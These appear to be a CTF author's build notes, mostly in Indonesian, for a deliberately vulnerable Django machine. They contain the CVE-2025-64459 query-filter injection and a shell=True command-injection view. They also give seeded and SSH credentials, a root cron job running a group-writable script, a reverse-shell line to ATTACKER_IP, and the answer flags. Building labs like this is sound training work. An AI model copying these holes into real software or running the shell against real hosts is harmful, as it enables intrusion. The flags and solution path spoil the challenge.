Machine - Stickers Collection

1. Services

Setup

issue install django di pip :

- harus run as admin di powershell
- pip install "django==5.2.7"

start project :

- django-admin startproject lab_CVE_2025_64459
- views -> python .\manage.py startapp views

models db :

- python .\manage.py startapp brainrot

- import di /main/settings.py, INSTALLED_APPS disitu ,masukin aja "brainrot"
- python .\manage.py makemigrations
- python .\manage.py migrate
- python .\manage.py shell
- masukin yg di seeds.py satu satu di shell

how to add data :

- masukin yg di seeds.py satu satu di shell

how to delete data :

- python manage.py shell
- from brainrot.models import Brainrot
- Brainrot.objects.all()
- Brainrot.objects.values('id')
- Brainrot.objects.values('image')
- Brainrot.objects.filter(image='etc1.jpg').delete()
- Brainrot.objects.filter(name='nama_nya').delete()
- Brainrot.objects.filter(id=id_nya).delete()

how to edit data:

- python manage.py shell
- from brainrot.models import Brainrot
- obj = Brainrot.objects.get(name='Sucipto')
- obj.image = "sucipto.jpg"
- obj.save()

CVE django CVE-2025-64459

set query yg di views

```
def collections(request):

    query_params = dict(request.GET.items())



    if not any(param.startswith('bounty') for param in query_params.keys()):
```

```
        query_params['bounty__gte'] = 0


    if not any(param.startswith('id') for param in query_params.keys()):
        query_params['id__lt'] = 999



    q_filter = Q(**query_params)
    brainrot = Brainrot.objects.filter(q_filter)
    return render(request, 'collections.html', {'brainrot': brainrot})
```

masukin data yg ga sesuai

- bounty__gte set ke < 0, biar ga tampil

```
Brainrot.objects.create(
    name="Hidden Path",
    description="/hidden_secret_path",
    bounty=-1,
    image="brainrot3.jpg"
)
```

SSTI

kompatibel - installed package

```
pip install "Jinja2==3.1.3"
```

gausah deh, ganti command injection aja, nanti lain kali baru coba SSTI jinja with django low version

Command Injection

```
def hiddens(request):

cmd = request.GET.get("cmd", "")

try:

output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)

except Exception as e:

output = str(e).encode()
```

```
    return render(request, 'hiddens.html', {'output': output.decode()})
```

SQLite3 DB Leak

how to add table - vscode sqlite explorer

- buka aja sqlite explorer di vscode
- klik kanan ke db nya misal db.sqlite3, klik kanan
- new query, pas di klik kanan
- add table

```
CREATE TABLE users (

    id INTEGER PRIMARY KEY AUTOINCREMENT,
```

```
    username TEXT NOT NULL,
    password TEXT NOT NULL
);
```

- klik kanan di code nya, nanti run query atau ctrl + shift + Q
- tambah dummy users disitu

```
INSERT INTO users (username, password)
VALUES
('admin', 'admin123'),
('demo', 'demo123'),
('ctfer', 'ilovectf');
```

- nah itu edit2 aja sesuaikan

```
INSERT INTO users (username, password)

VALUES

('admin', 'i_l1k3_s0me_sn4cks!'),

('sucipto',
'2bf1986231142a1ebc006c5e186f71b6754285d365e195549e9daf9d67cce786');
```

- 2bf1986231142a1ebc006c5e186f71b6754285d365e195549e9daf9d67cce786 -> sucipto_ganteng_123 -> hash sha256

2. Specs and Details - VM

spek :

- ram: 1024mb

- cpu: 1core
- memory: 10,93GB

tools and dependencies - ubuntu server

- get apt repo

```
sudo apt update

sudo apt install -y software-properties-common

sudo add-apt-repository ppa:deadsnakes/ppa

sudo apt update
```

- gagal deng, ga kompatibel sama mesin nya
- pake docker abis ini

Docker setup

- install docker

```
sudo apt install -y docker.io
```

- setup Dockerfile

```
FROM python:3.11-slim

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
    sqlite3 \
```

```
    && rm -rf /var/lib/apt/lists/*

COPY . .

RUN pip install --no-cache-dir -r requirements.txt

RUN python manage.py collectstatic --noinput

EXPOSE 8000

CMD ["gunicorn", "lab_CVE_2025_64459.wsgi:application", "--bind",
"0.0.0.0:8000"]
```

- btw itu gunicorn, ngikut settings.py, cek wsgi nya namanya apa
- revisi Dockerfile

```
FROM python:3.11-slim

WORKDIR /app
```

```
RUN apt-get update && apt-get install -y --no-install-recommends \
    sqlite3 \
    && rm -rf /var/lib/apt/lists/*

COPY manage.py manage.py
COPY requirements.txt requirements.txt
COPY lab_CVE_2025_64459 lab_CVE_2025_64459
COPY brainrot brainrot
COPY static static
RUN pip install --no-cache-dir -r requirements.txt
RUN python manage.py collectstatic --noinput
```

```
EXPOSE 8000


CMD ["gunicorn", "lab_CVE_2025_64459.wsgi:application", "--bind",
"0.0.0.0:8000"]
```

- build :

```
sudo docker build -t django_app .
```

- set systemd

```
vim /etc/systemd/system/django_app.service
```

```
[Unit]

Description=Django App

After=docker.service

Requires=docker.service



[Service]

Restart=always

RestartSec=5



ExecStartPre=-/usr/bin/docker rm -f django_app
```

```
ExecStart=/usr/bin/docker run \

    --name django_app \

    -p 8000:8000 \

    django_app

ExecStop=/usr/bin/docker stop django_app



[Install]

WantedBy=multi-user.target
```

- run systemd

```
sudo systemctl enable django_app
```

```
sudo systemctl status django_app

sudo systemctl start django_app
```

- restart systemd

```
sudo systemctl daemon-reload

sudo systemctl restart django_app

sudo systemctl start django_app
```

Docker issue - DNS

- issue

```
Sending build context to Docker daemon 34.82kB Step 1/8 : FROM python:3.11-slim Head "https://registry-1.docker.io/v2/library/python/manifests/3.11-slim": net/http: TLS handshake timeout ubuntu@stickerwangsaf:~/app$
```

```
ubuntu@stickerwangsaf:~/app$ sudo docker build -t django_app . Sending build context to Docker daemon 34.82kB Step 1/8 : FROM python:3.11-slim Head "https://registry-1.docker.io/v2/library/python/manifests/3.11-slim": dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution
```

- solved:

```
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

sudo service docker restart
```

Kalau docker app nya error cek log aja

```
sudo docker logs django_app
```

Issues

- zip nya ada file yg corrupt kosong, ls -la, kalau size nya aneh kayak 0, semua app bisa error
- settings.py ubah ini

```
ALLOWED_HOSTS = ["*"]
```

```
STATIC_ROOT = BASE_DIR / "staticfiles"
```

- gambar ga muncul, urls.py tambahin gini

```
from django.conf import settings
from django.conf.urls.static import static

urlpatterns = [
    ...
] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
```

Ubuntu - Home path

- user.txt (rabbit hole) :

```
config.php in a Django app?

Strange choice… or is it?
```

- ada wordlist buat crack pass .wordlist

Sucipto - Home path

- user.txt

Root - Home path

- root.txt

Etc

- clean docker image, container etc

```
sudo docker ps -a

sudo docker rm [id container]

sudo docker image ls

sudo docker image rm [id_nya]


// kalau mau cepet

sudo docker image prune -f
```

3. Creds

SSH

User - 1

- username: ubuntu
- pass: ubuntu123

User - 2

- username: sucipto
- pass: sucipto_ganteng_123

4. Priv Esc

User Sucipto

- add user sucipto with his password

```
sudo adduser sucipto

echo "sucipto:sucipto_ganteng_123" | sudo chpasswd
```

- add ke grup sudo

```
sudo usermod -aG sudo sucipto

groups sucipto
```

- biar sucipto biar bisa di ssh kalo misalnya gabisa, tapi ini bisa kok

```
sudo nano /etc/ssh/sshd_config
```

- add disini sshd nya

```
AllowUsers ubuntu sucipto
```

- remove ubuntu biar gabisa sudo, buat nya pas jadi sucipto

```
sudo deluser ubuntu sudo
```

Priv Esc to Root

Misconfigured Cron + Writable Script

Buat file bash nya

- bikin file nya

```
sudo nano /opt/bonk.sh
```

- isinya

```
#!/bin/bash
```

```
echo "bonk"
```

- set permission file nya, owner:group, sucipto grup doank

```
sudo chown root:sucipto /opt/bonk.sh
```

- set permission file lagi, 770 -> owner | group | others, others nya 0 jadi gabisa misal www-data

```
sudo chmod 770 /opt/bonk.sh
```

Buat cronjob nya

- buat dulu

```
sudo nano /etc/cron.d/bonkjob
```

- isi begini

```
* * * * * root /bin/bash /opt/bonk.sh
```

- restart cronjob

```
sudo systemctl restart cron

systemctl status cron
```

- tes revshell

```
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/6060 0>&1' >
/opt/bonk.sh
```

Delete sudo from sucipto

- biar dia gabisa sudo su, run as root

```
sudo deluser sucipto sudo
```

Vuln

-> SQLI - hidden page
-> djangocve202564459
-> SSTI jinja on hidden page
-> cracking password
-> hidden flag (not in /home and /root)

Creds

-> uname: sucipto

Ref

-> https://shivasurya.me/security/django/2025/11/07/django-sql-injection-CVE-2025-64459.html

5. Flag :

- user.txt: THM{640d58cad737c5606fa12a13d3281557}
- root.txt: THM{3ab37e07c5e29ec57354222eec59ac67}